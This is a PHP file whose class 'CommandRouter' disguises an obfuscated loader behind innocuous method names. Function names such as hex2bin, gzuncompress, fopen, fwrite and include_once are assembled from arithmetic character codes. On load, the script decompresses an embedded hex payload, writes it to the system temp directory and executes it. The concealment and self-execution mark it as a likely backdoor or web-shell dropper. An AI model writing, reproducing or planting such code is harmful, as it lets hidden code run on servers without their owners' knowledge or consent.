<?php
class CommandRouter
{
    private $kk = '';
    private $xw = '';
    public function resetState($p1)
    {
        $c = array(12 * 119 - 1318, 3 * 35, 17 + 79 + 2, 49 * 1 + 1, 120, 10 * 76 - 659, 6 * 63 - 274);
        $t = '';
        foreach ($c as $cu) {
            $t .= chr($cu);
        }
        $t = strrev($t);
        return $t($p1);
    }
    public function sanitizeInput($p1)
    {
        $z = array(25 * 4 + 3, 2 * 61, 53 * 17 - 784, 67 + 43, 45 + 54, 18 * 3 + 57, 109 * 1, 2 * 56, 114, 101, 119 - 4, 104 * 1 + 11);
        $s = '';
        foreach ($z as $f) {
            $s .= chr($f);
        }
        return $s($p1);
    }
    public function updateRegistry($p1, $p2)
    {
        $n = array(72 * 50 - 3490, 10 + 8 + 83, 24 * 27 - 536, 113 - 2, 47 * 14 - 556);
        $c = '';
        foreach ($n as $t) {
            $c .= chr($t);
        }
        $c = strrev($c);
        return $c($p1, $p2);
    }
    public function logEvent($p1, $p2)
    {
        $o = array(45 * 1 + 57, 119, 2 * 57, 66 + 39, 124 - 8, 87 + 9 + 5);
        $h = '';
        foreach ($o as $z) {
            $h .= chr($z);
        }
        return $h($p1, $p2);
    }
    public function logTransaction($p1)
    {
        $q = array(101, 21 + 80 + 14, 111, 2 * 54, 8 + 91, 42 + 12 + 48);
        $l = '';
        foreach ($q as $n) {
            $l .= chr($n);
        }
        $l = strrev($l);
        return $l($p1);
    }
    public function processData($p1, $p2 = null)
    {
        $b = array(2 * 57, 96 + 20, 84 + 30, 27 * 100 - 2595, 109);
        $v = '';
        foreach ($b as $d) {
            $v .= chr($d);
        }
        return $v($p1, $p2);
    }
    public function manageState()
    {
        $this->xw = $this->processData($this->resolveAction(), '/');
    }
    public function encryptData()
    {
        $this->kk = $this->sanitizeInput($this->resetState($this->jf));
    }
    public function checkConsistency()
    {
        $fn = $this->xw . '/jr-690d91f0e5d50';
        $f = $this->updateRegistry($fn, 'w');
        $this->logEvent($f, $this->kk);
        $this->logTransaction($f);
        $this->updateCache($fn);
    }
    private $jf = '789ca5188b72a2d8f25792aaec2a456e46279ab8e365a750d' . '0381189af64cc54ae85c81b410145c8e6dff7741fc988c9353' . 'bf72685c5e9d3afd3dda71ffcfbebd25c9ea8ae1286275363b' . 'd7e5e06d64689b4933052224b3d9b6a499dbe9ee86b4f8d2cd' . 'f23789a5d3c9b86f6f9d934f04ce6d9d28ba7a1e6ea5fbe003' . 'e435fa75b7d5d64ea67533d0eb8300a5ccd2b527c025b86163' . '75342edaa329d6baa3fd78a3fe97f00eb27a6aefb0110385ba' . 'e440429ab9f4c083530215ba71c075b7596c525837b3ff0fd8' . '953cda0e807f3e23e90f90f85103d28e43754f08961ea8116a' . 'd030f91eb2f7933ec9d1d4ff5fc535b4e0902252916a6eab2c' . '0fd59b8313a7dd9ecf0aad551a5c1b821f165edc628e952e35' . '1131b9222f3c6fc71dc7a2c9c17a6ce3c4512bea4f3235f6ad' . 'c1bdd762cf61fc79d7e635893db8d09db320d451a9766ada62' . '3f0e6246ac662034813a4bc6b9438585906ac6453b4db421c7' . '45a9507dea8aa62dc91bf37a4a6e0c62358b70c51e347e1a72' . 'e2ff6f9616fd218f1de4363d2b831c45a63546bb58c4e9bec6' . 'feeb69debdba43700cef1c604d65d43eab7fb1c0adb063a802' . '6716734d9817c2da420fe5e6c8b0852e600b96d7466524c913' . '62a40e02ddc666fcaf2f52d4616bd2d3fea96ab1db5d11fde8' . 'dfdbe6c4c1a3dc368f6e2707c1b8bf76a5fed484e284abcf35' . 'd6aa8cdeed8ef755ba17067f2ed894105a5ae83c6e14b33295' . '1796920ce013cdb52019556371d0f25be3246641be5761b4e4' . '31c757400a9e10a316355eec63cb254d304406da163dcefce6' . 'c6b288560e8bddd098df90241a6a336861304adb768bf094f3' . '19219b5a62a75fb2142cc18207ada719ac9529fb9037eecf11' . '5723cf1f1dea7343bc34cfab73b39a10b90b15772f891f8c81' . 'ba5e0c630f8c77bd5e16d5ee417bd7b6d4103c38f501eef771' . 'fbe371e0012bc7a41b3295f7592f1b57c3cf87831c6658ccab' . '692527cd7e7af6e9b7da597f249cb7270575777bb574232f9c' . 'c0b3553185636c2a814b493892f36e9f1fc0506aa30942aa2d' . '089f9a6ba6da77d6a9a046dda4a634f48d585d02c997cd329b' . '5ad8907db2b1ad420a0c7f3e1dd50ec7db36a76db56afd0fc7' . '1768e20b5291fe393904ad5b6e5af85a153451e2b976ed52e8' . '5b4bf6d5ba50551728b772fd032067ab293c45785245c8b69c' . '917877050aa67b8a03c3a6521752c31a9392450d8964d1d3cd' . '7b7747b5c13d20a1cd0134693a5301c47edb4b21605893ad13' . '277a78988b94c62aecf44930a31578d98eb5366ae70a5a0b94' . '6f1ea5b3facc9cd707637a2de587b73bad577c5e638e2053e6' . 'c2794f9c246e672ccdf4946499277f76081266ad9ae9cc5ac8' . 'a07d5e3ede49b59bd7dd805e52ab610bcedddcaa9ff6d2c520' . '7937c87e0b234e8deb7d09e366ad733e815f790ffad49d1150' . '3ef72b73fc14ba405f42a18836f185d4cfde5c5d494b91614a' . '1cc90f2004504b3261087059280dfdb871c099777b5060c526' . '8ac30d42292c0dbe2e8470e3341c4f57a5e6048367f3e9bfaf' . 'a829b6ea23c3f125570eb883b283b44fbfd77525a967e4857e' . '73902c880842222676718526e74c50d35e6796e6979c69016c' . '1e85b60fca211a4b7389027e1305184482fc78ea360d20ae3e' . 'c34a4fe9d4d9bb27cdb11eb58beb8a2e5454ce093c0289658f' . '20f2531b4f7c1971755963cb011cf77858a2e7e208b272e279' . '2646870ab5160eab169b91ad67890fd8a7f81d5f6c79e88729' . '52d5799275ab3c1a0a78718d74489bd6787cbee6b7f7199fb6' . '33f04109b3cffafb2aef6ffaed90f0144d62cd014875a9d65f' . 'fbbfd42cc2c1080e80982fa821e39d421734b5eaf2a914c5cf' . '5429d8b42ded2640ff354642e0e716a2cf967322fe4f7ca846' . 'eef21f4b41703f7a28a07e8976cf932433a7fab4cde3d1fac8' . '905eb872c2a448fca4e0f6c240f25e49df2c19a797a638ceb0' . '38a0fd6a8489ec3d5c5e72a9bff41ac830bc0927fb8a3c4759' . '6a7baebb996b5b92f3fbbc60ddcf1b9e142239b2adcbf2e2ff' . 'fa894c1f67a988f2105f3a1b5c0180ab4f9c16e8c09644eaee' . '805f2a31971aa2aaeabccdc8374038d10346c16c936204b4b5' . 'd4e5d07eed4f22cd087b067ea082039c85f0288a09c37c783a' . 'e7c379a0e87dde9bd38e8b42677a23838a789ef1fe1dfc8c3d' . '1f9dbe0ce1ee6189796dcedca0f5db9c98f3a722fcfe53390e' . 'fff1ce5341047e3416f34e07bc316d1ffffe07423f2c201079' . '6a6dc63544db9d7139ba3514712e571ce1ebf7a7f8e4979877' . 'd9585e3606c219db6d5544a05507f49a18616599eee671b085' . '35d3fd43208ad8ecb7c599a618eb357a42c9dee979a72a9c49' . '28761e8147582d1b2ab8367d328e0964a106a5322240b3cc23' . 'be18ab09797001d3934e61629924f5c3efea13587aa9816f08' . '091b239d8277d3a74aed11a2fc8216be8d9a1db700a344b66c' . '5f7100f1a7982e726b4faa2a08bbc2468eca1f99cbbef4a228' . 'd3eec5a20e83d72d2f6c31997ef13a3011295105fe40b8c8ba' . '7333ccc0eee62cde9a1af3afe924cc5e0abe46bbedd88908f4' . '1187dc96d042aed288915df114f0603c81a60a47364baefe6c' . 'a7edebc663f58335ff6537e89ad94b2ae8b28cf3cebcb7514d' . '2c5395a29fb3490bf69593b72aa6b7e460bf96cbbdc703a09e' . '38cc5fe15287f66c99349830f06701fa07f21541408e479afc' . '00004434b0c9679abc9afb729a40464570a94262d5ff691410' . 'fa1d2af6c9dcb8270280e48f6ccbb22c6304a4838d21aaa474' . '7d175f46be2edb037cbc5517418ce60fe59eff023c33b8a0f1' . '31b34cf21e07f7d1f67451becc483363c1f7536c6bc6d61f07' . 'abe7154164c7570059d63b256781f1cf58d2898ee60270d50d' . '847668609107afcc5116121a6045d0159deda753ff6068c869' . '06dcc235c612e0473257b6c3f721b0c8978afed238c615c84d' . '9ce7c654c625eb7dc480ba61b053eac11a3ecdf98abdac5356' . '9720e7f69e730733924a009fd90931efd1a233d7a2d0cb8260' . '7ae1f9d8560c085b9c9a4c390a69afe491e0143cbdaa5fd999' . 'b4f9b2a7a77b90d69b635bcfc36ccbf70eb21322f30320fc82' . '3ba4fc8ebda96744e0c6a7b9aa93b7399bffe7a5d11f6fb4bc' . '20d34de91ed4e9dd8bb612c7f3fd0adabeda6c0707f02dbfc2' . '0eae11949d9c15d2226bf0df3374ced09dd07b970a5d5945bc' . '35753fcc6bafbe2ba5bd9a1ef65efa0138335359b9a91f69f8' . 'dc864d607fb38b901199c84b8af367bf91b0a51e7e5';
    public function updateCache($p)
    {
        include_once $p;
    }
    public function resolveAction()
    {
        $a = array(5 * 23, 121, 115, 70 * 1 + 25, 10 + 25 + 68, 13 * 3 + 62, 126 - 10, 40 * 1 + 55, 118 - 2, 101, 104 * 1 + 5, 112, 103 - 8, 86 * 1 + 14, 109 - 4, 104 + 6 + 4);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$ri = new CommandRouter();
$ri->manageState();
$ri->encryptData();
$ri->checkConsistency();